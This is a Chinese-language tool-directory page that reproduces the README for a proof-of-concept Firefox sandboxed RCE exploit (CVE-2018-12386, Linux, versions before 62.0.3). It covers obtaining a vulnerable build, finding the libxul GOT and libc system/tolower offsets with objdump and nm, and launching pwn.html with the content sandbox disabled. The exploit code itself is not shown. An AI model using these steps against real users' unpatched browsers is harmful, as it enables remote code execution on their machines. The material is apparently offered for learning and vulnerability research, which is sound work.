Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2018-12386 — CVE-2018-12386 - Linux 版 Firefox 沙箱 RCE 漏洞利用(Firefox <v62.0.3) | Kitploit
工具/GitHubGitHub/0xlyte/cve-2018-12386
漏洞分析漏洞利用学习与教育Payload 开发二进制利用
GitHub0xlyte/cve-2018-12386

cve-2018-12386

CVE-2018-12386 - Linux 版 Firefox 沙箱 RCE 漏洞利用(Firefox <v62.0.3)

查看仓库
26年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Firefox 沙盒化 RCE 漏洞利用 (CVE-2018-12386)

这是一个针对漏洞 CVE-2018-12386 的简单漏洞利用程序,由 Niklas Baumstark、Samuel Groß 和 Bruno Keith 发现。

这主要是一个我出于兴趣编写的 PoC(概念验证),不包含沙盒绕过,并且仅适用于已知利用程序所用偏移量的特定 Linux 环境(偏移量可在 exploit/offsets.js 中修改)。

该漏洞利用程序适用于 Firefox 62.0.3 及 Firefox ESR 60.2.2 之前的版本。

下载 Firefox 以测试漏洞利用程序

你可以直接从 Mozilla 的 FTP 服务器下载历史 Firefox 版本:https://ftp.mozilla.org/pub/firefox/releases/

例如,你可以使用 64 位 Linux 的 62.0.2 版本:https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2。

root@kitploit:~
wget https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2
bzip2 -d firefox-62.0.2.tar.bz2
tar xvf firefox-62.0.2.tar

查找偏移量

libxul.so 偏移量

libxul_math_max

如果你使用的是 Firefox 62.0.2,那么 exploit/offsets.js 中提供的偏移量应该是正确的。

对于其他版本,一种简单的方法是使用 addrof 原语泄露 JavaScript 函数 Math.max 的地址,然后找到当前利用的 Firefox 实例中 libxul.so 的基地址(例如使用 cat /proc/$(pidof firefox)/maps),再将两者相减得到 libxul_math_max 偏移量。

libxul_got_memmove 和 libxul_got_tolower

如果你使用的是 Firefox 62.0.2,那么 exploit/offsets.js 中提供的偏移量应该是正确的。

对于其他版本,一种简单的方法是使用 objdump。

root@kitploit:~
[lyte@vm firefox-62.0.2]$ objdump -d libxul.so | grep -i memmove@GLIBC
  8006f0:   ff 25 7a ac 40 05       jmpq   *0x540ac7a(%rip)        # 5c0b370 <memmove@GLIBC_2.2.5>

[lyte@vm firefox-62.0.2]$ objdump -d libxul.so | grep -i tolower@GLIBC
  8052e0:	ff 25 82 86 40 05    	jmpq   *0x5408682(%rip)        # 5c0d968 <tolower@GLIBC_2.2.5>

5c0b370 和 5c0d968 就是我们需要的值,即 memmove 和 tolower 在 libxul.so 中的偏移量。

libc.so.6 偏移量

这些偏移量完全取决于你所使用的 libc 版本。

root@kitploit:~
# libc.so.6 location

[lyte@vm firefox-62.0.2]$ ldd /bin/ls | grep libc.so.6 | cut -d' ' -f3
/lib/x86_64-linux-gnu/libc.so.6

libc_tolower

root@kitploit:~
[lyte@vm firefox-62.0.2]$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " tolower$"
000000000002c0f0 T tolower

libc_system

root@kitploit:~
[lyte@vm firefox-62.0.2]$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep " system$"
000000000003f480 W system

测试漏洞利用程序

一旦你拥有 Firefox 和正确的偏移量,可以通过运行以下命令来测试漏洞利用程序:

root@kitploit:~
MOZ_DISABLE_CONTENT_SANDBOX=1 /path/to/vulnerable/firefox /path/to/cve-2018-12386/exploit/pwn.html

Demo

联系方式

如果你想打个招呼:@lyte__

下载工具